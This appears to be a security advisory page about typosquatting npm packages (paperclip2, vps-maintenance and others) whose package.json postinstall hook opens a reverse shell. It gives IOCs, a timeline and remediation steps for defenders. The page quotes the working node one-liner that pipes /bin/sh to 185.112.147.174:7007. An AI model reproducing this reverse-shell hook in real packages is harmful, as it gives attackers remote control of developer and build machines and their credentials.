# paperclip2 / vps-maintenance postinstall reverse shell to 185.112.147.174:7007

> On 2026-07-04 the OX Research team disclosed npm packages - `paperclip2`, `vps-maintenance`, `vps-maintenance-paperclip-adapter` - published by user `srm0rgan` that hide a `postinstall` reverse shell to `185.112.147.174:7007` inside `package.json`. `paperclip2` ships with no JavaScript files at all, defeating static scanners that only inspect `.js`. Two follow-on names - `paperclip-host-utils` and `vps-adapter-core` - landed 2026-07-07 and joined the same GHSA takedown.

- Published: 2026-07-04
- Last updated: 2026-07-08
- Severity: high
- Kind: Typosquat - A package that never had a legitimate version, named to be mistaken for a real one - a misspelling, a lookalike scope, or an impersonated vendor SDK.
- Ecosystems: npm
- Scope: 5 packages, 14 compromised versions
- Tags: typosquat, obfuscation, credential-theft
- Also known as: paperclip2 reverse shell
- Detected by: OX Security
- Incident ID: npm-2026-07-04-paperclip2-reverse-shell

## Affected packages (5)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [paperclip-host-utils](https://dependencywatch.io/package/npm/paperclip-host-utils) | npm | 1.0.0, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7 |
| [paperclip2](https://dependencywatch.io/package/npm/paperclip2) | npm | 1.0.0 |
| [vps-adapter-core](https://dependencywatch.io/package/npm/vps-adapter-core) | npm | 1.0.0, 1.0.1, 1.0.2 |
| [vps-maintenance](https://dependencywatch.io/package/npm/vps-maintenance) | npm | 0.1.0 |
| [vps-maintenance-paperclip-adapter](https://dependencywatch.io/package/npm/vps-maintenance-paperclip-adapter) | npm | 0.1.1, 0.1.2 |

## What happened

On 2026-07-04 OX Research disclosed a small but noteworthy npm supply-chain campaign: three packages published by the `srm0rgan` maintainer account (email `srm0rgan@proton.me`) all carry a single-line `postinstall` script that opens a raw TCP connection to `185.112.147.174:7007` and pipes it into `/bin/sh`.

## The evasion - no JavaScript at all

`paperclip2@1.0.0` was published 2026-07-04 12:21 UTC and contains **one file**: `package.json`. There is no `index.js`, no source directory, and no build output. The malicious behaviour is entirely inside the `scripts.postinstall` field:

```
node -e "const c=require('net').connect(7007,'185.112.147.174');
         const p=require('child_process').spawn('/bin/sh',[]);
         c.pipe(p.stdin);p.stdout.pipe(c);p.stderr.pipe(c);"
```

Many npm malware scanners default to analysing `.js` files inside the tarball. A package that has no `.js` code passes those checks trivially - the reverse shell only becomes visible if the scanner also parses `package.json` scripts.

## Typosquat context

`vps-maintenance` (0.1.0, 2026-07-04) and `vps-maintenance-paperclip-adapter` (0.1.0 clean 2026-07-03, then poisoned `0.1.1`/`0.1.2` on 2026-07-03/07-04) present themselves as adapters for the legitimate open-source Paperclip AI orchestration platform (`@paperclipai/*` on npm, `paperclipai/paperclip` on GitHub). The README for `vps-maintenance-paperclip-adapter` is a plausible product page describing SSH-based VPS maintenance commands run from the Paperclip UI, including an install snippet (`POST /api/adapters/install { "packageName": "vps-maintenance-paperclip-adapter" }`). None of that functionality exists - the `postinstall` runs before any of it can matter.

## Version rollout timeline

- 2026-07-03 10:48 UTC - `vps-maintenance-paperclip-adapter@0.1.0` published (clean; no `postinstall`)
- 2026-07-03 11:27 UTC - `vps-maintenance-paperclip-adapter@0.1.1` published with the reverse-shell `postinstall`
- 2026-07-04 12:14 UTC - `vps-maintenance-paperclip-adapter@0.1.2` republishes the same payload
- 2026-07-04 12:19 UTC - `vps-maintenance@0.1.0` published with the same reverse shell
- 2026-07-04 12:21 UTC - `paperclip2@1.0.0` published with the same reverse shell (no `.js` files)

Each republish shares the same maintainer, the same signature keyid, and the same C2 destination - this is one operator refining the packaging (README, scope hunt) between attempts.

## IOCs

- Command-and-control: `185.112.147.174:7007` (raw TCP, no TLS, `/bin/sh` bidirectional pipe)
- Maintainer: `srm0rgan` / `srm0rgan@proton.me`
- Package integrity hashes (SHA-512, from npm registry): `paperclip2@1.0.0` `sha512-nAXbGaLpALwzD8GfhfY4wiE9oXBWkpxzILp+1qzISRO6wHunjS3LyZ+TtDls7fk2A8vjfYARyeKTdZTQR1Rmdw==`; `vps-maintenance@0.1.0` `sha512-Kwj71je+AYz1+E4g35VVwjStRIL4Xfhk9VqPJ1+yZ3FdKOxCXUpMRAsMJPtRr2/8paaw/v99hrnRMqc1IJsjjg==`; `vps-maintenance-paperclip-adapter@0.1.2` `sha512-rJeZY0RmjzPFgRjID3xLVTCLLGuYkBQ/k1RB5n/Dy74U3NYRBm4ML3n1US6sWVB2wdIZILEE9LMuvRlmwMbvpg==`

## Impact

- Any host that ran `npm install` on `paperclip2`, `vps-maintenance`, or `vps-maintenance-paperclip-adapter@0.1.1`/`0.1.2` executed a `/bin/sh` reverse shell to `185.112.147.174:7007`
- `paperclip2` contains a single file - `package.json` - with the malicious `postinstall` script. There are no `.js` files to lint, so any scanner that only inspects JavaScript source code will pass the package clean
- The `vps-maintenance*` packages plausibly typosquat the Paperclip AI orchestration platform ecosystem (see `@paperclipai/*` scope on npm) - a developer looking for a "VPS maintenance adapter for Paperclip" would find these three names credible
- `vps-maintenance-paperclip-adapter@0.1.0` (2026-07-03) was clean - the postinstall reverse shell only landed on `0.1.1` published minutes later on 2026-07-03, then a re-cut `0.1.2` on 2026-07-04. Anyone who upgraded from `0.1.0` to `0.1.1`/`0.1.2` was hit
- The 2026-07-07 GHSA batch added two follow-on names - `paperclip-host-utils@1.0.0`–`1.0.7` (7 versions published in the same 40-minute burst 2026-07-07 11:37–12:14 UTC) and `vps-adapter-core@1.0.0`–`1.0.2` (three versions in a 25-minute burst 2026-07-07 08:37–09:00 UTC). GHSA advisories `GHSA-m74w-fv2m-jcvw` and `GHSA-hvxm-858v-vhw9` classify both as CWE-506 Embedded Malicious Code. The rapid-fire republishing pattern matches the July 3–4 vps-maintenance rollout - same operator, refining the packaging

## What to do

1. Remove `paperclip2`, `vps-maintenance`, and `vps-maintenance-paperclip-adapter` from `package.json` and every lockfile; delete `node_modules` and reinstall
2. On any Linux/macOS build host that resolved these packages: check for processes listening/connected on port 7007 (`ss -tunp | grep 7007`, `lsof -i :7007`) and kill any `/bin/sh` spawned by `node`
3. Egress-block `185.112.147.174` at your firewall and add it to your IOC feed; check outbound proxy/NetFlow logs for connections to that IP:7007 during the exposure window
4. Rotate every credential accessible from any build host that installed these packages - SSH keys, cloud CLI tokens, npm/GitHub tokens, environment variables loaded by the shell
5. Add a lockfile guard for these three names in your private mirror and CI - Verdaccio/Nexus/Artifactory may still serve the malicious tarballs from cache even after the public yank
6. If you were legitimately evaluating the Paperclip AI orchestration platform, the correct scope is `@paperclipai/*` on npm - `paperclip2` and the `vps-maintenance*` names are not affiliated with that project

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [Beware of Paperclip2: Malicious npm Packages Found](https://www.ox.security/blog/malware-detected-reverse-shell-without-javascript-files-in-npm/) - OX Security
- [paperclip2 on npm](https://www.npmjs.com/package/paperclip2) - npm
- [vps-maintenance on npm](https://www.npmjs.com/package/vps-maintenance) - npm
- [vps-maintenance-paperclip-adapter on npm](https://www.npmjs.com/package/vps-maintenance-paperclip-adapter) - npm
- [GHSA-m74w-fv2m-jcvw - paperclip-host-utils malware advisory](https://github.com/advisories/GHSA-m74w-fv2m-jcvw) - GitHub
- [GHSA-hvxm-858v-vhw9 - vps-adapter-core malware advisory](https://github.com/advisories/GHSA-hvxm-858v-vhw9) - GitHub
- [GHSA-27r8-2rjc-75rv - paperclip2 malware advisory](https://github.com/advisories/GHSA-27r8-2rjc-75rv) - GitHub
- [GHSA-p3g7-2j36-j99x - vps-maintenance-paperclip-adapter malware advisory](https://github.com/advisories/GHSA-p3g7-2j36-j99x) - GitHub
- [GHSA-qc5h-v3rf-5x95 - vps-maintenance malware advisory](https://github.com/advisories/GHSA-qc5h-v3rf-5x95) - GitHub

---

Canonical page: https://dependencywatch.io/incident/npm-2026-07-04-paperclip2-reverse-shell
Markdown version: https://dependencywatch.io/incident/npm-2026-07-04-paperclip2-reverse-shell.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).